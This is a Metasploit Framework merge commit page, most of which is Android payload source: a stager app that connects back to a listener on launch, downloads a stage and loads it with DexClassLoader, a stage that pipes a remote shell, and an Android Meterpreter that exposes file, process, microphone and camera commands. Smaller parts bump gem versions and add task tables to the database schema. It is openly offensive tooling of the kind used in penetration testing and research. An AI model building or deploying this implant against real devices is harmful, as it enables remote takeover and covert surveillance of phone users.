Merge branch 'master' into bug/module-load-cache-update

This commit is contained in:
Luke Imhoff
2013-05-30 12:59:50 -05:00
84 changed files with 2919 additions and 504 deletions
+6
View File
@@ -36,3 +36,9 @@ Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.
To save yourself the embarrassment of committing common errors, you will
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
from the top-level directory of your metasploit-framework clone. This
will prevent you from committing modules that raise WARNINGS or ERRORS.
+1 -1
View File
@@ -15,7 +15,7 @@ group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.14.3'
gem 'metasploit_data_models', '~> 0.15.1'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
+2 -2
View File
@@ -23,7 +23,7 @@ GEM
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
metasploit_data_models (0.14.3)
metasploit_data_models (0.15.1)
activerecord (>= 3.2.13)
activesupport
pg
@@ -65,7 +65,7 @@ DEPENDENCIES
database_cleaner
factory_girl (>= 4.1.0)
json
metasploit_data_models (~> 0.14.3)
metasploit_data_models (~> 0.15.1)
msgpack
nokogiri
pcaprub
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+22 -1
View File
@@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130516204810) do
ActiveRecord::Schema.define(:version => 20130522041110) do
create_table "api_keys", :force => true do |t|
t.text "token"
@@ -427,6 +427,27 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
t.datetime "updated_at", :null => false
end
create_table "task_creds", :force => true do |t|
t.integer "task_id", :null => false
t.integer "cred_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "task_hosts", :force => true do |t|
t.integer "task_id", :null => false
t.integer "host_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "task_services", :force => true do |t|
t.integer "task_id", :null => false
t.integer "service_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "tasks", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.string "created_by"
@@ -0,0 +1,38 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="3"/>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<application
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
+77
View File
@@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-AndroidPayload</artifactId>
<version>1-SNAPSHOT</version>
<packaging>apk</packaging>
<name>AndroidPayload for Metasploit</name>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.6_r2</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<extensions>true</extensions>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
</sdk>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<unzip src="${project.basedir}/target/${project.build.finalName}.apk" dest="${project.basedir}/../../../../../data/android/apk" >
<patternset>
<exclude name="META-INF/**"/>
</patternset>
</unzip>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
<Button
android:id="@+id/button_reverse"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="ReverseTCP" />
</LinearLayout>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">MainActivity</string>
</resources>
@@ -0,0 +1,56 @@
package com.metasploit.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.Random;
public class LoadStage {
private String randomJarName() {
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 20; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString() + ".jar";
}
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String jarFile = randomJarName();
String path = context.getFilesDir().getAbsolutePath();
// Read the class name
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
String classFile = new String(core);
// Read the stage
coreLen = in.readInt();
core = new byte[coreLen];
in.readFully(core);
// Write the stage to /data/data/.../files/
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
fos.write(core);
fos.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance();
myClass.getMethod("start", new Class[] {
DataInputStream.class, OutputStream.class, Context.class, String[].class
}).invoke(stage, new Object[] {
in, out, context, parameters
});
}
}
@@ -0,0 +1,59 @@
package com.metasploit.stage;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import android.app.Activity;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
public class MainActivity extends Activity
{
// avoid re-ordering the strings in classes.dex - append XXXX
private static final String LHOST = "XXXX127.0.0.1 ";
private static final String LPORT = "YYYY4444 ";
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
startAsync();
}
});
startAsync();
}
private void startAsync() {
new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... params) {
reverseTCP();
return null;
}
}.execute();
}
private void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
new LoadStage().start(in, out, this, new String[] {});
msgsock.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0">
</manifest>
@@ -0,0 +1,137 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-</artifactId>
<version>1-SNAPSHOT</version>
<packaging>apk</packaging>
<name>Android Meterpreter</name>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.6_r2</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
<version>${project.version}</version>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<extensions>true</extensions>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
</sdk>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<condition property="dx.filename" value="dx.bat">
<os family="windows" />
</condition>
<property name="dx.filename" value="dx" />
<echo>Building shell</echo>
<delete dir="${project.basedir}/target/dx" />
<mkdir dir="${project.basedir}/target/dx/shell" />
<copy todir="${project.basedir}/target/dx/shell">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Shell.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/shell.jar" />
<arg value="${project.basedir}/target/dx/shell" />
</exec>
<echo>Building meterpreter stage</echo>
<mkdir dir="${project.basedir}/target/dx/metstage" />
<copy todir="${project.basedir}/target/dx/metstage">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Meterpreter.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/metstage.jar" />
<arg value="${project.basedir}/target/dx/metstage" />
</exec>
<echo>Building meterpreter</echo>
<mkdir dir="${project.basedir}/target/dx/meterpreter" />
<copy todir="${project.basedir}/target/dx/meterpreter">
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/meterpreter.jar" />
<arg value="${project.basedir}/target/dx/meterpreter" />
<arg value="${com.metasploit:Metasploit-Java-Meterpreter:jar}" />
<arg value="${com.metasploit:Metasploit-Java-Meterpreter-stdapi:jar}" />
<arg value="${com.metasploit:Metasploit-JavaPayload:jar}" />
</exec>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>
@@ -0,0 +1,51 @@
package androidpayload.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.Random;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
private String randomJarName() {
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 20; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString() + ".jar";
}
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String jarFile = randomJarName();
String path = context.getFilesDir().getAbsolutePath();
// Read the stage
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
// Write the stage to /data/data/.../files/
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
fos.write(core);
fos.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
myClass.getConstructor(new Class[] {
DataInputStream.class, OutputStream.class, Context.class, boolean.class
}).newInstance(in, out, context, false);
}
}
@@ -0,0 +1,25 @@
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
import javapayload.stage.StreamForwarder;
/**
* Meterpreter Java Payload Proxy
*/
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
final Process proc = Runtime.getRuntime().exec("sh");
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
}
}
@@ -0,0 +1,44 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
}
@@ -0,0 +1,88 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.OutputStream;
import android.content.Context;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
import com.metasploit.meterpreter.android.webcam_audio_record_android;
import com.metasploit.meterpreter.android.webcam_get_frame_android;
import com.metasploit.meterpreter.android.webcam_list_android;
import com.metasploit.meterpreter.android.webcam_start_android;
import com.metasploit.meterpreter.android.webcam_stop_android;
import com.metasploit.meterpreter.stdapi.Loader;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_4;
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
public class AndroidMeterpreter extends Meterpreter {
private final Context context;
public Context getContext() {
return context;
}
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false);
this.context = context;
startExecuting();
}
@Override
public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager();
Loader.cwd = context.getFilesDir().getAbsoluteFile();
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_4.class);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
mgr.registerCommand("webcam_list", webcam_list_android.class);
mgr.registerCommand("webcam_start", webcam_start_android.class);
mgr.registerCommand("webcam_stop", webcam_stop_android.class);
mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
return getCommandManager().getNewCommands();
}
}
@@ -0,0 +1,10 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
protected String getShellPath() {
return "sh";
}
}
@@ -0,0 +1,46 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class stdapi_sys_process_get_processes_android implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Process proc = Runtime.getRuntime().exec(new String[] {
"sh", "-c", "ps 2>/dev/null"
});
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = br.readLine();
if (line == null) {
return ERROR_FAILURE;
}
while ((line = br.readLine()) != null) {
String[] parts = line.replace('\t', ' ').trim().split(" ");
if (parts.length < 2) {
continue;
}
int pid = -1;
for (String part : parts) {
try {
pid = Integer.valueOf(part);
} catch (NumberFormatException e) {
continue;
}
break;
}
TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_PID, pid);
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
}
return ERROR_SUCCESS;
}
}
@@ -0,0 +1,75 @@
package com.metasploit.meterpreter.android;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder.AudioSource;
import android.util.Log;
public class webcam_audio_record_android extends webcam_audio_record implements Command {
private static final int AUDIO_SAMPLE_RATE = 8000;
private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
AudioRecord recorder = null;
try {
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
if (fullBuffer < bufferSize) {
fullBuffer = bufferSize;
}
recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
DataOutputStream da = new DataOutputStream(baos);
byte[] buffer = new byte[fullBuffer];
recorder.startRecording();
recorder.read(buffer, 0, buffer.length);
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
da.writeBytes("RIFF");
da.writeInt(Integer.reverseBytes(36+fullBuffer));
da.writeBytes("WAVE");
da.writeBytes("fmt ");
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
da.writeBytes("data");
da.writeInt(Integer.reverseBytes(fullBuffer));
da.write(buffer);
da.flush();
} catch (Throwable x) {
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
} finally {
if (recorder != null) {
recorder.stop();
recorder.release();
}
}
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
return ERROR_SUCCESS;
}
}
@@ -0,0 +1,59 @@
package com.metasploit.meterpreter.android;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.Camera.PictureCallback;
import android.util.Log;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
public class webcam_get_frame_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
private byte[] cameraData;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
try {
if (webcam_start_android.camera == null) {
return ERROR_FAILURE;
}
cameraData = null;
//Parameters params = webcam_start_android.camera.getParameters();
//params.setPictureFormat(PixelFormat.JPEG);
//params.set("jpeg-quality", quality);
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
cameraData = data;
synchronized (webcam_get_frame_android.this) {
webcam_get_frame_android.this.notify();
}
}
});
synchronized (this) {
wait(10000);
}
if (cameraData != null) {
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -0,0 +1,58 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class webcam_list_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Object cameraInfo = null;
Field field = null;
int cameraCount = 0;
try {
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
} catch (NoSuchMethodException nsme) {
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
return ERROR_SUCCESS;
}
Class<?> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
if (cameraInfoClass != null) {
cameraInfo = cameraInfoClass.newInstance();
}
if (cameraInfo != null) {
field = cameraInfo.getClass().getField("facing");
}
Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
int facing = field.getInt(cameraInfo);
if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
} else {
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
}
}
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -0,0 +1,42 @@
package com.metasploit.meterpreter.android;
